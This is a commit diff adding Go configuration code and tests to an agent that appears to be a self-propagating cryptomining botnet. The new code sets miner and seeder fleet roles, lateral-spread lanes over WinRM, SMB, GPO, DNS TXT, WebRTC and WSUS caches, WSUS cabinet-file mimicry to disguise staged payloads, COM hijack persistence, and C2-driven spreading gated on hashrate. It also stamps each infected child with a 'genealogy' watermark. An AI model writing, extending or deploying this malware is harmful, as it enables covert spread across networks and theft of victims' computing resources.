Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -59,5 +59,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: true,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: true,
|
||||
WSUSFormatMimic: true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,6 +74,7 @@ type BuiltinConfig struct {
|
||||
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
|
||||
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
|
||||
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
|
||||
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
|
||||
COMHijackPersist bool // COM CLSID hijack persistence — default off
|
||||
LinuxLOTLMode string // systemd_run_user | crontab | both | off
|
||||
// Passive spreading — triggered by the environment rather than active scanning
|
||||
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
|
||||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||||
|
||||
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
|
||||
ParentAgentID string
|
||||
SpreadGeneration int
|
||||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||||
ScoutMode bool
|
||||
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
|
||||
MiningDisabled bool
|
||||
|
||||
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
|
||||
FleetRole string
|
||||
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
|
||||
SeederMode bool
|
||||
|
||||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
|
||||
HashrateGateSpreadMin int
|
||||
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
|
||||
HashrateGateHPS float64
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
|
||||
return RegistrationPlatform() == "android"
|
||||
}
|
||||
|
||||
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
|
||||
func (c RuntimeConfig) IsScoutMode() bool {
|
||||
return c.ScoutMode
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveThreads() int {
|
||||
mode := strings.ToLower(c.ThreadMode)
|
||||
if mode == "fixed" {
|
||||
|
||||
89
agent/config/fleet_role.go
Normal file
89
agent/config/fleet_role.go
Normal file
@@ -0,0 +1,89 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
|
||||
const (
|
||||
FleetRoleMiner = "miner"
|
||||
FleetRoleSeeder = "seeder"
|
||||
FleetRoleAuto = "auto"
|
||||
)
|
||||
|
||||
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
|
||||
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
|
||||
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
|
||||
func NormalizeFleetRole(role string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(role)) {
|
||||
case FleetRoleSeeder:
|
||||
return FleetRoleSeeder
|
||||
case FleetRoleMiner:
|
||||
return FleetRoleMiner
|
||||
default:
|
||||
return FleetRoleAuto
|
||||
}
|
||||
}
|
||||
|
||||
// EffectiveFleetRole resolves baked role + optional server hint from auth.
|
||||
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
|
||||
if c.SeederMode {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
baked := NormalizeFleetRole(c.FleetRole)
|
||||
if baked == FleetRoleSeeder {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
if baked == FleetRoleMiner {
|
||||
return FleetRoleMiner
|
||||
}
|
||||
hint := NormalizeFleetRole(serverHint)
|
||||
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
|
||||
return hint
|
||||
}
|
||||
return FleetRoleMiner
|
||||
}
|
||||
|
||||
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
|
||||
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
|
||||
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
|
||||
}
|
||||
|
||||
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
|
||||
func IsSeederSpreadLane(lane string) bool {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
for _, s := range SeederSpreadLanes {
|
||||
if lane == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
|
||||
func FilterSeederLotlTiers(tiers []string) []string {
|
||||
var out []string
|
||||
for _, t := range tiers {
|
||||
if IsSeederSpreadLane(t) {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
|
||||
func ApplySeederForgeDefaults(b *BuiltinConfig) {
|
||||
if b == nil {
|
||||
return
|
||||
}
|
||||
b.FleetRole = FleetRoleSeeder
|
||||
b.SeederMode = true
|
||||
b.MiningDisabled = true
|
||||
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
|
||||
b.GPUEnabled = false
|
||||
b.DnsTxtSpread = true
|
||||
b.WebRTCMeshSpread = true
|
||||
b.WinRMSpread = false
|
||||
b.WSUSCachePeerSpread = false
|
||||
b.AutoSpread = true
|
||||
b.LotlOnionEnabled = true
|
||||
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
|
||||
}
|
||||
53
agent/config/fleet_role_test.go
Normal file
53
agent/config/fleet_role_test.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeFleetRole(t *testing.T) {
|
||||
if NormalizeFleetRole("SEEDER") != FleetRoleSeeder {
|
||||
t.Fatal("seeder")
|
||||
}
|
||||
if NormalizeFleetRole("miner") != FleetRoleMiner {
|
||||
t.Fatal("miner")
|
||||
}
|
||||
if NormalizeFleetRole("") != FleetRoleAuto {
|
||||
t.Fatal("auto default")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveFleetRoleSeederMode(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SeederMode: true}}
|
||||
if cfg.EffectiveFleetRole("") != FleetRoleSeeder {
|
||||
t.Fatalf("got %q", cfg.EffectiveFleetRole(""))
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveFleetRoleAutoHint(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetRole: FleetRoleAuto}}
|
||||
if cfg.EffectiveFleetRole(FleetRoleSeeder) != FleetRoleSeeder {
|
||||
t.Fatal("hint seeder")
|
||||
}
|
||||
if cfg.EffectiveFleetRole(FleetRoleMiner) != FleetRoleMiner {
|
||||
t.Fatal("hint miner")
|
||||
}
|
||||
if cfg.EffectiveFleetRole("") != FleetRoleMiner {
|
||||
t.Fatal("auto defaults miner")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilterSeederLotlTiers(t *testing.T) {
|
||||
got := FilterSeederLotlTiers([]string{"smb", "dns_txt", "winrm", "do_peer"})
|
||||
if len(got) != 2 || got[0] != "dns_txt" || got[1] != "do_peer" {
|
||||
t.Fatalf("got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplySeederForgeDefaults(t *testing.T) {
|
||||
b := BuiltinConfig{}
|
||||
ApplySeederForgeDefaults(&b)
|
||||
if !b.SeederMode || b.FleetRole != FleetRoleSeeder || !b.MiningDisabled {
|
||||
t.Fatalf("seeder defaults: %+v", b)
|
||||
}
|
||||
if !b.DnsTxtSpread || !b.WebRTCMeshSpread || b.WinRMSpread {
|
||||
t.Fatalf("spread flags: %+v", b)
|
||||
}
|
||||
}
|
||||
47
agent/config/genealogy.go
Normal file
47
agent/config/genealogy.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
|
||||
// Not a signed key — informational telemetry only.
|
||||
func SpreadStrainFromJoinLane(lane string) string {
|
||||
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||
if lane == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||
}
|
||||
|
||||
// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
|
||||
// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
|
||||
// launches without re-forge. Never used for authentication.
|
||||
func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
|
||||
parentAgentID = strings.TrimSpace(c.ParentAgentID)
|
||||
if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
|
||||
parentAgentID = v
|
||||
}
|
||||
|
||||
spreadGeneration = c.SpreadGeneration
|
||||
if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
|
||||
spreadGeneration = n
|
||||
}
|
||||
}
|
||||
|
||||
spreadStrain = strings.TrimSpace(c.SpreadStrain)
|
||||
if spreadStrain == "" {
|
||||
lane := strings.TrimSpace(runtimeJoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(c.BakedJoinLane)
|
||||
}
|
||||
spreadStrain = SpreadStrainFromJoinLane(lane)
|
||||
}
|
||||
return parentAgentID, spreadGeneration, spreadStrain
|
||||
}
|
||||
46
agent/config/genealogy_test.go
Normal file
46
agent/config/genealogy_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
||||
a := SpreadStrainFromJoinLane("winrm")
|
||||
b := SpreadStrainFromJoinLane("winrm")
|
||||
if a == "" || a != b {
|
||||
t.Fatalf("strain not stable: %q vs %q", a, b)
|
||||
}
|
||||
if a[0] != '#' || len(a) != 7 {
|
||||
t.Fatalf("expected #RRGGBB, got %q", a)
|
||||
}
|
||||
if SpreadStrainFromJoinLane("dns_txt") == a {
|
||||
t.Fatal("different lanes should produce different strains")
|
||||
}
|
||||
if SpreadStrainFromJoinLane("") != "" {
|
||||
t.Fatal("empty lane should yield empty strain")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenealogyReportBakedAndRuntime(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ParentAgentID: "parent-uuid",
|
||||
SpreadGeneration: 2,
|
||||
BakedJoinLane: "gpo",
|
||||
}}
|
||||
parent, gen, strain := cfg.GenealogyReport("")
|
||||
if parent != "parent-uuid" || gen != 2 {
|
||||
t.Fatalf("baked parent/gen: %q %d", parent, gen)
|
||||
}
|
||||
if strain != SpreadStrainFromJoinLane("gpo") {
|
||||
t.Fatalf("strain from baked join lane: %q", strain)
|
||||
}
|
||||
|
||||
cfg2 := RuntimeConfig{BuiltinConfig: BuiltinConfig{SpreadGeneration: 0}}
|
||||
t.Setenv("AETHER_PARENT_AGENT_ID", "env-parent")
|
||||
t.Setenv("AETHER_SPREAD_GENERATION", "3")
|
||||
p2, g2, s2 := cfg2.GenealogyReport("winrm")
|
||||
if p2 != "env-parent" || g2 != 3 {
|
||||
t.Fatalf("env overrides: %q %d", p2, g2)
|
||||
}
|
||||
if s2 != SpreadStrainFromJoinLane("winrm") {
|
||||
t.Fatalf("runtime join lane strain: %q", s2)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user